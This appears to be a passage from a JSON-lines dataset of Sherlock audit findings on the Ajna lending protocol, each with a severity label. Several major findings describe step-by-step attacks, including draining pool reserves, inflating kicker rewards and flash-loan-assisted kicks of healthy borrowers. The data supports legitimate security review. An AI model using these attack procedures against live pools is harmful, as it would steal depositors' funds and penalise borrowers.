FullMath.mulDivRoundingUp(amount0, fee, 1e6);\n uint256 fee1 = FullMath.mulDivRoundingUp(amount1, fee, 1e6);\n uint256 balance0Before = balance0();\n uint256 balance1Before = balance1();\n\n if (amount0 > 0) TransferHelper.safeTransfer(token0, recipient, amount0);\n if (amount1 > 0) TransferHelper.safeTransfer(token1, recipient, amount1);\n\n IUniswapV3FlashCallback(msg.sender).uniswapV3FlashCallback(fee0, fee1, data);\n\n\n```\n## Impact\nCalling the receiver's callback could potentially result in unforeseen consequences\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/base/FlashloanablePool.sol#L45\n\n## Tool used\n\nManual Review\n\n## Recommendation\n It is recommended to adopt the approach used in Uniswap V3 by invoking the msg.sender's callback.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/006.md"}} +{"title":"Attacker can DoS new ERC721Pool initialization","severity":"info","body":"Fierce Midnight Penguin\n\nmedium\n\n# Attacker can DoS new ERC721Pool initialization\n## Summary\nAn attacker can DoS new ERC721Pool initialization by calling ERC721Pool.initialize(uint256) on newly deployed ERC721Pool clone by ERC721PoolFactory.\n\n## Vulnerability Detail\nNew ERC721Pool clones are created in the ERC721PoolFactory constructor, but states variables are only intialized later by calling ERC721PoolFactory.deployPool(address, address, uint256[], uint256). This call will set the ERC721Pool clone state variables and can only be called once.\nThe problem is ERC721Pool.initialize(uint256[], uint256) access control is external so attacker can call it before it's called by ERC721PoolFactory.deployPool(address, address, uint256[], uint256) and it will set isPoolInitialized state variables to true.\nWhen isPoolInitialized is true, nobody can ever call it again\n\nThis will DoS new ERC721Pool initialization.\n\n## Impact\nNew ERC20Pool clones can not be initialized\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/ERC721Pool.sol#L88-L115\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/ERC721PoolFactory.sol#L55-L91\n\n## Tool used\n\nManual Review\nVsCode\n\n## Recommendation\nas new Clones are deployed into ERC721PoolFactory constructor, ERC721Pool.initialize() should also be called inside the constructor to initialize the new clone state variables.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/005.md"}} +{"title":"Attacker can DoS new ERC20Pool initialization","severity":"info","body":"Fierce Midnight Penguin\n\nhigh\n\n# Attacker can DoS new ERC20Pool initialization\n## Summary\nAn attacker can DoS new ERC20Pool initialization by calling ```ERC20Pool.initialize(uint256)``` on newly deployed ERC20Pool clone by ERC20PoolFactory.\n\n## Vulnerability Detail\nNew ERC20Pool clones are created in the ERC20PoolFactory constructor, but states variables are only intialized later by calling ```ERC20PoolFactory.deployPool(address, address, uint256)```. This call will set the ERC20Pool clone state variables and can only be called once.\nThe problem is ```ERC20Pool.initialize(uint256)``` access control is external so attacker can call it before it's called by ```ERC20PoolFactory.deployPool(address, address, uint256)``` and it will set ```isPoolInitialized``` state variables to true.\nWhen ```isPoolInitialized``` is true, nobody can ever call it again\n- This will DoS new ERC20Pool initialization.\n\n## Impact\nNew ERC20Pool clones can not be initialized\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/ERC20Pool.sol#L86-L101\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/ERC20PoolFactory.sol#L52-L82\n\n## Tool used\nManual Review\nVsCode\n\n## Recommendation\nas new Clones are deployed into ERC20PoolFactory constructor, ERC20Pool.initialize() should also be called inside the constructor to initialize the new clone state variables.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/004.md"}} +{"title":"Initialization of an ERC721Pool contract can be frontrun","severity":"info","body":"Gigantic Coconut Badger\n\nmedium\n\n# Initialization of an ERC721Pool contract can be frontrun\n## Summary\n\nAn ERC721Pool contract uses an initialize function instead of a constructor to init states of the contract. However, the initialize function does not verify a `msg.sender` who calls this function. The mistake leads to a vulnerability of frontrunning while deploying the contract on mainnet.\n\n## Vulnerability Detail\n\nIn the `ERC721Pool` contract at [line 88](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/ERC721Pool.sol#L88), an `initialize` function uses for set values for states of the contract and a `tokenIds_` and a `rate_` parameters are passed.\n\nAlthough the function cannot be called at the second time. But, the function does not check for the `msg.sender` who can call them. A transaction to initialize them can be front-run and the front-runner can arbitrarily set the `tokenIds_` and `rate_` parameters. \n\nRead a similar issue: `https://solodit.xyz/issues/initialization-can-be-frontrun-halborn-sacred-finance-and-circomcircuit-pdf`\n\n## Impact\n\nA transaction to initialize them can be front-run and the front-runner can arbitrarily set the `tokenIds_` and `rate_` parameters. \n\n## Code Snippet\n\n```solidity\nfunction initialize(\n uint256[] memory tokenIds_,\n uint256 rate_\n ) external override {\n if (isPoolInitialized) revert AlreadyInitialized();\n\n inflatorState.inflator = uint208(1e18);\n inflatorState.inflatorUpdate = uint48(block.timestamp);\n\n interestState.interestRate = uint208(rate_);\n interestState.interestRateUpdate = uint48(block.timestamp);\n\n uint256 noOfTokens = tokenIds_.length;\n\n if (noOfTokens != 0) {\n // add subset of tokenIds allowed in the pool\n for (uint256 id = 0; id < noOfTokens;) {\n tokenIdsAllowed_[tokenIds_[id]] = true;\n\n unchecked { ++id; }\n }\n }\n\n Loans.init(loans);\n\n // increment initializations count to ensure these values can't be updated\n isPoolInitialized = true;\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdding an `onlyOwner()` modifier to the `initialize` function.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/003.md"}} +{"title":"Initialization of an ERC20Pool contract can be frontrun","severity":"info","body":"Gigantic Coconut Badger\n\nmedium\n\n# Initialization of an ERC20Pool contract can be frontrun\n## Summary\n\nAn ERC20Pool contract uses an initialize function instead of a constructor to init states of the contract. However, the initialize function does not verify a `msg.sender` who calls this function. The mistake leads to a vulnerability of frontrunning while deploying the contract on mainnet.\n\n## Vulnerability Detail\n\nIn the `ERC20Pool` contract at [line 86](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/ERC20Pool.sol#L86), an `initialize` function uses for set values for states of the contract and a `rate_` parameter is passed.\n\nAlthough the function cannot be called at the second time. But, the function does not check for the `msg.sender` who can call them. A transaction to initialize them can be front-run and the front-runner can arbitrarily set the `rate_` parameter. \n\nRead a similar issue: `https://solodit.xyz/issues/initialization-can-be-frontrun-halborn-sacred-finance-and-circomcircuit-pdf`\n\n## Impact\nA transaction to initialize them can be front-run and the front-runner can arbitrarily set the `rate_` parameter. \n\n## Code Snippet\n\n```solidity\nfunction initialize(\n uint256 rate_\n ) external override {\n if (isPoolInitialized) revert AlreadyInitialized();\n\n inflatorState.inflator = uint208(1e18);\n inflatorState.inflatorUpdate = uint48(block.timestamp);\n\n interestState.interestRate = uint208(rate_);\n interestState.interestRateUpdate = uint48(block.timestamp);\n\n Loans.init(loans);\n\n // increment initializations count to ensure these values can't be updated\n isPoolInitialized = true;\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdding an `onlyOwner()` modifier to the `initialize` function.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/002.md"}} +{"title":"There is no restriction for 0 decimal tokens","severity":"info","body":"Cool Chili Sparrow\n\nmedium\n\n# There is no restriction for 0 decimal tokens\n## Summary\nAs mentioned in docs:\n> The following types of tokens are incompatible with Ajna, and countermeasures exist to explicitly prevent creating a pool with such tokens:\nFungible tokens with more than 18 decimals or 0 decimals //@audit, whose decimals() function does not return a constant value\n\nAjna doesn't support 0 decimal tokens, but in `PoolDeployer.sol`, there is no restriction for that.\n## Vulnerability Detail\n`PoolDeployer.sol` -> `_getTokenScale()` function:\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/base/PoolDeployer.sol#L59-L62\nit just checks no more than 18 decimals.\n## Impact\n0 decimal tokens could be used\n## Code Snippet\n```solidity\n function _getTokenScale(address token_) internal view returns (uint256 scale_) {\n try IERC20Token(token_).decimals() returns (uint8 tokenDecimals_) {\n // revert if token decimals is more than 18\n if (tokenDecimals_ > 18) revert IPoolFactory.DecimalsNotCompliant();\n\n\n // scale calculated at pool precision (18)\n scale_ = 10 ** (18 - tokenDecimals_);\n } catch {\n // revert if token contract lack `decimals` method\n revert IPoolFactory.DecimalsNotCompliant();\n }\n }\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nadd check for 0 decimal token.\n```solidity\n function _getTokenScale(address token_) internal view returns (uint256 scale_) {\n try IERC20Token(token_).decimals() returns (uint8 tokenDecimals_) {\n // revert if token decimals is more than 18\n if (tokenDecimals_ > 18) revert IPoolFactory.DecimalsNotCompliant();\n if (tokenDecimals_ == 0) revert IPoolFactory.DecimalsNotCompliant();//@audit \n\n // scale calculated at pool precision (18)\n scale_ = 10 ** (18 - tokenDecimals_);\n } catch {\n // revert if token contract lack `decimals` method\n revert IPoolFactory.DecimalsNotCompliant();\n }\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/001.md"}} +{"title":"Reserves can be stolen by settling artificially created bad debt from them","severity":"major","body":"Restless White Bee\n\nhigh\n\n# Reserves can be stolen by settling artificially created bad debt from them\n## Summary\n\nIt is possible to inflate LUP and pull almost all the collateral from the loan, then settle this artificial bad debt off reserves, stealing all of them by repeating the attack.\n\n## Vulnerability Detail\n\nLUP is determined just in time of the execution, but `removeQuoteToken()` will check for `LUP > HTP = Loans.getMax(loans).thresholdPrice`, so the attack need to circumvent this. \n\nAttacker acts via 2 accounts under control, one for lending part, one for borrowing, having no previous positions in the given ERC20 pool.\nLet's say that pool state is as follows: `100` units of quote token utilized, and another `100` not utilized, for simplicity let's say all `100` are available, no auctions and no bad debt.\n\n1. Get 100 loan at TP = new HTP just below LUP (let's name this loan the manipulated_loan, ML), let's say LUP is such that `150` quote token units worth of collateral was provided (at market price)\n2. Add quote funds with `amount = {total utilized deposits} = 200` to a bucket significantly above the market (let's name it ultra_high_bucket, UHB)\n3. Remove collateral from the ML up to allowed by elevated LUP = UHB price, say it's 10x market one. I.e. almost all, say remove `140`, leaving `10` quote token units worth of collateral (at market price)\n4. Lender kick ML (removing funds from UHB will push LUP low and lender kick will be possible) to revive HTP reading\n5. Remove all from UHB except quote funds frozen by the auction, i.e. remove `100`, leave `100`\n\n1-5 go atomically in one tx.\n\nNo outside actors will be able to immediately benefit from the resulting situation as:\na. UHB remove quote token is blocked due to the frozen debt\nb. take is unprofitable while auction price is above market\nc. bucket take is unprofitable while auction price is above UHB price\n\nAt this point attacker accounting in net quote tokens worth is:\n1. `+100`, `-150`\n2. `-200`\n3. `+140`\n4. \n5. `+100`\n\nAttacker has net `10` units of own capital still invested in the pool.\n\n6. Attacker wait for auction price reaching UHB price, calls `takeBucket` with `depositTake == true`.\nThe call can go with normal gas price as outside actors will not benefit from the such call and there will be no competition.\n`10` quote tokens worth of collateral will be placed to UHB and `98.482` units of quote token removed to cover the debt, `1.518` is the kicker's reward\n7. Attacker calls `settlePoolDebt()` which settles the remaining `1.518` of debt from pool reserves as ML has this amount of debt and no collateral\n8. Attacker removes all the funds from UHB with both initial and awarded LP shares, receiving `10` quote tokens worth of collateral and `1.518` quote token units of profit\n\n6-8 go atomically in one tx.\n\nAt this point attacker accounting in quote tokens is:\n\n6. (+kicker reward of ML stamped NP vs auction clearing UHB price in LP form)\n7. \n8. `+11.518`\n\nAttacker has net 0 units of own capital still invested in the pool, and receives `1.518` quote token units of profit.\n\nProfit part is a function of the pool's state, for the number above, assuming `auctionPrice == thresholdPrice = UHB price` and `poolRate_ = 0.05`: `1.518 = bondFactor * 100 = (npTpRatio - 1) / 10 * 100 = (1.04 + math.sqrt(0.05) / 2 - 1) / 10 * 100`, `bpf = bondFactor = takePenaltyFactor`.\n\n## Impact\n\nIt can be repeated to drain the whole reserves from the pool over time, i.e. reserves of any pool can be stolen this way.\n\n## Code Snippet\n\nLUP is the only guardian for removing the collateral:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/BorrowerActions.sol#L287-L307\n\n```solidity\n if (vars.pull) {\n // only intended recipient can pull collateral\n if (borrowerAddress_ != msg.sender) revert BorrowerNotSender();\n\n // calculate LUP only if it wasn't calculated in repay action\n if (!vars.repay) result_.newLup = Deposits.getLup(deposits_, result_.poolDebt);\n\n>> uint256 encumberedCollateral = Maths.wdiv(vars.borrowerDebt, result_.newLup);\n if (\n borrower.t0Debt != 0 && encumberedCollateral == 0 || // case when small amount of debt at a high LUP results in encumbered collateral calculated as 0\n borrower.collateral < encumberedCollateral ||\n borrower.collateral - encumberedCollateral < collateralAmountToPull_\n ) revert InsufficientCollateral();\n\n // stamp borrower Np to Tp ratio when pull collateral action\n vars.stampNpTpRatio = true;\n\n borrower.collateral -= collateralAmountToPull_;\n\n result_.poolCollateral -= collateralAmountToPull_;\n }\n```\n\nThe root cause is that bad debt is artificially created, with lender, borrower and kicker being controlled by the attacker, bad debt is then settled from the reserves:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/SettlerActions.sol#L143-L146\n\n```solidity\n // settle debt from reserves (assets - liabilities) if reserves positive, round reserves down however\n if (assets > liabilities) {\n borrower.t0Debt -= Maths.min(borrower.t0Debt, Maths.floorWdiv(assets - liabilities, poolState_.inflator));\n }\n```\n\nKicking will revive the HTP as `_kick()` removing target borrower from loans:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/KickerActions.sol#L340-L341\n\n```solidity\n // remove kicked loan from heap\n Loans.remove(loans_, borrowerAddress_, loans_.indices[borrowerAddress_]);\n```\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/base/Pool.sol#L225-L249\n\n```solidity\n function removeQuoteToken(\n ...\n ) external override nonReentrant returns (uint256 removedAmount_, uint256 redeemedLP_) {\n ...\n\n uint256 newLup;\n (\n removedAmount_,\n redeemedLP_,\n newLup\n ) = LenderActions.removeQuoteToken(\n ...\n RemoveQuoteParams({\n maxAmount: Maths.min(maxAmount_, _availableQuoteToken()),\n index: index_,\n>> thresholdPrice: Loans.getMax(loans).thresholdPrice\n })\n );\n```\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/LenderActions.sol#L434-L436\n\n```solidity\n lup_ = Deposits.getLup(deposits_, poolState_.debt);\n\n>> uint256 htp = Maths.wmul(params_.thresholdPrice, poolState_.inflator);\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider introducing a buffer representing the expected kicker reward in addition to LUP, so this part of the loan will remain in the pool.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//018-H/071-best.md"}} +{"title":"Adding yearly interest overcharges borrowers when pool rate is high due to market expectations","severity":"medium","body":"Restless White Bee\n\nmedium\n\n# Adding yearly interest overcharges borrowers when pool rate is high due to market expectations\n## Summary\n\nMechanics of adding square root of pool's rate directly to `npTpRatio` doesn't fit in the situation when pool's rate is determined by the current market expectation instead of long-term volatility.\n\n## Vulnerability Detail\n\nWhile it's true that equilibrium rate shows the expected price compared to the market one, it is not true that this price is simply current estimate of the market price with yearly interest added to it: the time when market expects some particular price movement is not observable (e.g. is it next week or within one year), so assumption of perpentual interest rate difference being the only factor driving equilibrium rate can't be universally applicable to all the assets.\n\nIn other words the fact that market participants are ready to pay say `100%` annualized interest cannot be deemed equal to that expected price is `2x` of the current market one. For example, suppose current consensys is that price will raise by `1.5x` in a half of a year and then stay put (i.e. there are some publicly known forces that form a ceiling at some level). Borrowers are willing to pay up to `100%` interest for half of a year as that's `50%`, which is what the expected profit is. Expected market price in the same time isn't `2x` of the current and such an estimate allows kickers to earn more rewards due to elevated NP.\n\n## Impact\n\nKicker reward can be substantially overstated at the expense of the borrower.\n\n## Code Snippet\n\nWhen pool rate is high the `npTpRatio` will be high:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/internal/Loans.sol#L102-L105\n\n```solidity\n // update Np to Tp ratio of borrower\n if (npTpRatioUpdate_) {\n borrower_.npTpRatio = 1.04 * 1e18 + uint256(PRBMathSD59x18.sqrt(int256(poolRate_))) / 2;\n }\n```\n\nSay for `200%` rate it will be `npTpRatio = (1.04 + math.sqrt(2) / 2) = 1.7471`.\n\nSo `neutralPrice` will also be high, it can be said that it will almost always have significant margin above the market:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/KickerActions.sol#L307-L313\n\n```solidity\n // calculate auction params\n // neutral price = Tp * Np to Tp ratio\n // neutral price is capped at 50 * max pool price\n vars.neutralPrice = Maths.min(\n>> Math.mulDiv(vars.borrowerDebt, borrower.npTpRatio, vars.borrowerCollateral),\n MAX_INFLATED_PRICE\n );\n```\n\nI.e. `NP = 1.7471 * TP`, while, for example, at 150% collaterization, typical for `ETH` and `BTC` markets that can be deemed averagely volatile (in the sense that there are less volatile stable coin markets and more volatile NFT markets), it will be `NP = 1.7471 * TP = 1.7471 * market_price / 1.5 = 1.16 * market_price`. With such a margin and without significant market movements the auction will be settled below that.\n\n`bondFactor_` will be maximized at `3%`:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/helpers/PoolHelper.sol#L418-L426\n\n```solidity\n function _bondParams(\n uint256 borrowerDebt_,\n uint256 npTpRatio_\n ) pure returns (uint256 bondFactor_, uint256 bondSize_) {\n // bondFactor = min((NP-to-TP-ratio - 1)/10, 0.03)\n>> bondFactor_ = Maths.min(\n>> 0.03 * 1e18,\n>> (npTpRatio_ - 1e18) / 10\n );\n```\n\nSo kicker's reward will be placed somewhere at `(0, 1) * bondFactor_` as due to `neutralPrice_` being big, `auctionPrice_ = market price` will almost always be between `neutralPrice_`, which will be above the market due to elevation, and `thresholdPrice`, which were initially below the market (barring abrupt movements):\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/helpers/PoolHelper.sol#L382-L411\n\n```solidity\n function _bpf(\n ...\n ) pure returns (int256) {\n int256 thresholdPrice = int256(Maths.wdiv(debt_, collateral_));\n\n int256 sign;\n if (thresholdPrice < int256(neutralPrice_)) {\n // BPF = BondFactor * min(1, max(-1, (neutralPrice - price) / (neutralPrice - thresholdPrice)))\n sign = Maths.minInt(\n 1e18,\n Maths.maxInt(\n -1 * 1e18,\n PRBMathSD59x18.div(\n>> int256(neutralPrice_) - int256(auctionPrice_),\n>> int256(neutralPrice_) - thresholdPrice\n )\n )\n );\n } else {\n int256 val = int256(neutralPrice_) - int256(auctionPrice_);\n if (val < 0 ) sign = -1e18;\n else if (val != 0) sign = 1e18;\n }\n\n>> return PRBMathSD59x18.mul(int256(bondFactor_), sign);\n }\n```\n\nThis way the expectation of some price advancement will make kicker rewards guaranteed and outsized. Also, there will be a substantial enough portion going to reserves, `(5 * bondFactor - bpf) / 4 - bpf = 5 * (bondFactor - bpf) / 4`:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/TakerActions.sol#L732-L741\n\n```solidity\n // price is the current auction price, which is the price paid by the LENDER for collateral\n // from the borrower point of view, there is a take penalty of (1.25 * bondFactor - 0.25 * bpf)\n // Therefore the price is actually price * (1.0 - 1.25 * bondFactor + 0.25 * bpf)\n uint256 takePenaltyFactor = uint256(5 * int256(vars.bondFactor) - vars.bpf + 3) / 4; // Round up\n>> uint256 borrowerPrice = Maths.floorWmul(vars.auctionPrice, Maths.WAD - takePenaltyFactor);\n\n // To determine the value of quote token removed from a bucket in a bucket take call, we need to account for whether the bond is\n // rewarded or not. If the bond is rewarded, we need to remove the bond reward amount from the amount removed, else it's simply the \n // collateral times auction price.\n>> uint256 netRewardedPrice = (vars.isRewarded) ? Maths.wmul(Maths.WAD - uint256(vars.bpf), vars.auctionPrice) : vars.auctionPrice;\n```\n\nI.e. the pool rate is not only a measure of asset volatility, in which case the approach looks sound, but also a measure of market expectations, in which case it has the side effect of making borrowers pay both an outsized returns to the kickers, outsized contribution to reserves, and also makes kicking risk-free.\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider elaborating on the formula to make it more universal for various market drivers.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//017-M/070-best.md"}} +{"title":"Subsequent takes increase next kicker reward, allowing total kicker reward to be artificially amplified by splitting take into a batch","severity":"major","body":"Restless White Bee\n\nhigh\n\n# Subsequent takes increase next kicker reward, allowing total kicker reward to be artificially amplified by splitting take into a batch\n## Summary\n\nKicker reward is being determined as a proportion of auction price to neutral price (NP) distance to the distance between NP and threshold price (TP). The latter is determined on the fly, with the current debt and collateral, and in the presence of take penalty, actually rises with every take.\n\nThis way for any taker it will be profitable to perform many small takes atomically instead of one bigger take, bloating the kicker reward received simply due to rising TP as of time of each subsequent kick.\n\n## Vulnerability Detail\n\nTake penalty being imposed on a borrower worsens its TP. This way a take performed on the big enough debt being auctioned increases the kicker rewards produced by the next take.\n\nThis way multiple takes done atomically increase cumulative kicker reward, so if kicker and taker are affiliated then the kicker reward can be augmented above one stated in the protocol logic.\n\n## Impact\n\nKicker reward can be made excessive at the expense of the reserves part.\n\n## Code Snippet\n\nIf `auctionPrice_` is fixed to be `market_price - required_margin` then the bigger `thresholdPrice` the bigger the `sign` and resulting `_bpf()` returned value:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/helpers/PoolHelper.sol#L382-L411\n\n```solidity\n function _bpf(\n ...\n ) pure returns (int256) {\n int256 thresholdPrice = int256(Maths.wdiv(debt_, collateral_));\n\n int256 sign;\n>> if (thresholdPrice < int256(neutralPrice_)) {\n // BPF = BondFactor * min(1, max(-1, (neutralPrice - price) / (neutralPrice - thresholdPrice)))\n sign = Maths.minInt(\n 1e18,\n Maths.maxInt(\n -1 * 1e18,\n PRBMathSD59x18.div(\n int256(neutralPrice_) - int256(auctionPrice_),\n>> int256(neutralPrice_) - thresholdPrice\n )\n )\n );\n } else {\n int256 val = int256(neutralPrice_) - int256(auctionPrice_);\n if (val < 0 ) sign = -1e18;\n>> else if (val != 0) sign = 1e18;\n }\n\n return PRBMathSD59x18.mul(int256(bondFactor_), sign);\n }\n```\n\n`thresholdPrice >= int256(neutralPrice_)` will not happen on initial kick as `npTpRatio` is always above 1, but can happen if TP is raised high enough by a series of smaller takes, i.e. taker in some cases can even force kicker reward to be maximal `+1 * bondFactor_`.\n\n`takePenaltyFactor` is paid by the borrower in addition to auction price:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/TakerActions.sol#L724-L736\n\n```solidity\n function _calculateTakeFlowsAndBondChange(\n uint256 totalCollateral_,\n uint256 inflator_,\n uint256 collateralScale_,\n TakeLocalVars memory vars\n ) internal pure returns (\n TakeLocalVars memory\n ) {\n // price is the current auction price, which is the price paid by the LENDER for collateral\n // from the borrower point of view, there is a take penalty of (1.25 * bondFactor - 0.25 * bpf)\n // Therefore the price is actually price * (1.0 - 1.25 * bondFactor + 0.25 * bpf)\n uint256 takePenaltyFactor = uint256(5 * int256(vars.bondFactor) - vars.bpf + 3) / 4; // Round up\n uint256 borrowerPrice = Maths.floorWmul(vars.auctionPrice, Maths.WAD - takePenaltyFactor);\n```\n\n`takePenaltyFactor` can be `3-3.75%` for `vars.bpf > 0` and `bondFactor` maximized to be `3%`, so if TP is above market price by a lower margin, say `TP = 1.025 * market_price`, then the removal of `3-3.75%` part will worsen it off.\n\nThe opposite will happen when TP is greater than that, but this calls for the singular executions and doesn't look exploitable.\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider limiting the take penalty so it won't worsen the collaterization of the auctioned loan, e.g. limiting `takePenaltyFactor` to `TP / market_price - 1`.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//016-H/069-best.md"}} +{"title":"When pool rates are high some well-capitalized borrowers can be profitably kicked by anyone","severity":"major","body":"Restless White Bee\n\nhigh\n\n# When pool rates are high some well-capitalized borrowers can be profitably kicked by anyone\n## Summary\n\nUsing `lenderKick()` even on substantially collaterized borrowers can be possible and profitable when pool rates are high. Borrowers will be penalized to benefit kicker and pool reserves.\n\nAnyone can be a kicker as it is enough to atomically add collateral, do `lenderKick()`, and remove collateral (i.e. bucket price isn't important and there is no need to either be or become a quote funds depositor), so `lenderKick()` be performed as if attacker holds the cumulative deposit of the bucket. The attacker can even gather deposits from many buckets that will not be freezed on kicking this way in one bucket, add enough collateral there, `lenderKick()` target borrower with it, and distribute the deposits back, removing the collateral from those buckets.\n\nThis was possible before, but such attack wasn't generally profitable as kicking wasn't as there was no such substantial dependency on pool's rate. But with new formula whenever pool rates are high enough a number of otherwise well-capitalized borrowers can be reached and profitably kicked in this manner.\n\n## Vulnerability Detail\n\nAs `neutralPrice` is high when rate is high it is likely to be above market price. Big lenders directly, or anyone, using the fact that bucket collateral isn't frozen by auction, while `lenderKick()` is LP driven only, can use `lenderKick()`, obtaining the collateral at market price, receiving positive kicker's reward, which is the attacker's profit in this case.\n\nSimulateneously borrower's taker penalty will be substantial. For example, since `3.75%` is a maximum loss for borrower given that kicker reward is positive, for pool rate being `45% = 3.75% * 12` (which is not too big, being seen for 1-2 day periods periodically even in the biggest lending pools), which means that borrower will instantly receive a loss worth a month of interest spending.\n\nIt is then `npTpRatio = 1.04 + math.sqrt(0.45) / 2 = 1.375..`, so any borrower with `PV(collateral) / PV(debt) < 137.5%` or `LTV > 72.7%` can be profitably kicked. Those ratios represent substantial collaterization which will be deemed safe by the most borrowers, so many will not be aware and will not collaterize more (even if they comfortably could). So receiving a substantial enough penalty will effectively be a form of simultaneous griefing for them.\n\nAs anyone can add collateral to the biggest bucket and use `lenderKick()` on it, this vector can be used by any attacker as long as there is a deposit bucket above LUP big enough to reach a target borrower or, as mentioned, if such a bucket can be gathered on the fly from other deposit buckets provided that they will not be affected by `_revertIfAuctionDebtLocked()`.\n\nThis can be done atomically and so the price level of those buckets doesn't matter.\n\nSymbolic PoC:\n\n1. flash loan the collateral and obtain longer term funds for kicker's bond,\n2. replace quote with collateral in all such quote funds holding deposit buckets,\n3. put them all into the one bucket that will not be frozen on auction,\n4. add enough collateral there too to have enough LP for the quote funds amount gathered,\n5. `lenderKick()` target borrower with this bucket,\n6. distribute the affected quote deposits back and remove all the collateral from those and main buckets,\n7. repay the flash loan, having only kicker's bond remaining invested.\n\n1-7 are done atomically so exact price levels of these buckets can't be acted on by other market participants.\n\n8. take the auction at the market price,\n9. retrieve kicker's bond, repay it, pocket the reward part less funding and transaction costs.\n\n## Impact\n\nThe issue here is that such a situation might not be clear for borrowers as per usual metrics they be well capitalized and deem themselves safe, not linking the somewhat yet moderate rise of the interest rate to the ability to be profitably liquidated. Borrowers can receive a substantial take penalty, `takePenaltyFactor in [3%, 3.75%)` (it can go higher when `vars.bpf < 0`, but we rule that out per being unprofitable for kicker).\n\nSince this action is profitable whenever pool rate is high and there is no other substantial prerequisites, the overall probability of it can be deemed high. The borrower's loss is `3%-3.75` of the principal, which can correspond to months of interest, while the borrower intended financing period might be much shorter. Also, a forced sell of a collateral can happen at an undesired market price. This borrower loss impact is material, so placing the overall severity to be high.\n\nThe attack can be carried out either for profit only or with an additional griefing purposes.\n\n## Code Snippet\n\nWhen pool rate is high the `npTpRatio` will also be high:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/internal/Loans.sol#L102-L105\n\n```solidity\n // update Np to Tp ratio of borrower\n if (npTpRatioUpdate_) {\n borrower_.npTpRatio = 1.04 * 1e18 + uint256(PRBMathSD59x18.sqrt(int256(poolRate_))) / 2;\n }\n```\n\n`neutralPrice` will be set correspondingly and it can constitute a significant margin above the market price for many well-capitalized borrowers with low enough TPs:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/KickerActions.sol#L307-L313\n\n```solidity\n // calculate auction params\n // neutral price = Tp * Np to Tp ratio\n // neutral price is capped at 50 * max pool price\n vars.neutralPrice = Maths.min(\n>> Math.mulDiv(vars.borrowerDebt, borrower.npTpRatio, vars.borrowerCollateral),\n MAX_INFLATED_PRICE\n );\n```\n\n`_bpf()` will be positive along with kicker's reward as long as `neutralPrice_ > auctionPrice_ = market_price`:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/helpers/PoolHelper.sol#L382-L411\n\n```solidity\n function _bpf(\n ...\n ) pure returns (int256) {\n int256 thresholdPrice = int256(Maths.wdiv(debt_, collateral_));\n\n int256 sign;\n if (thresholdPrice < int256(neutralPrice_)) {\n // BPF = 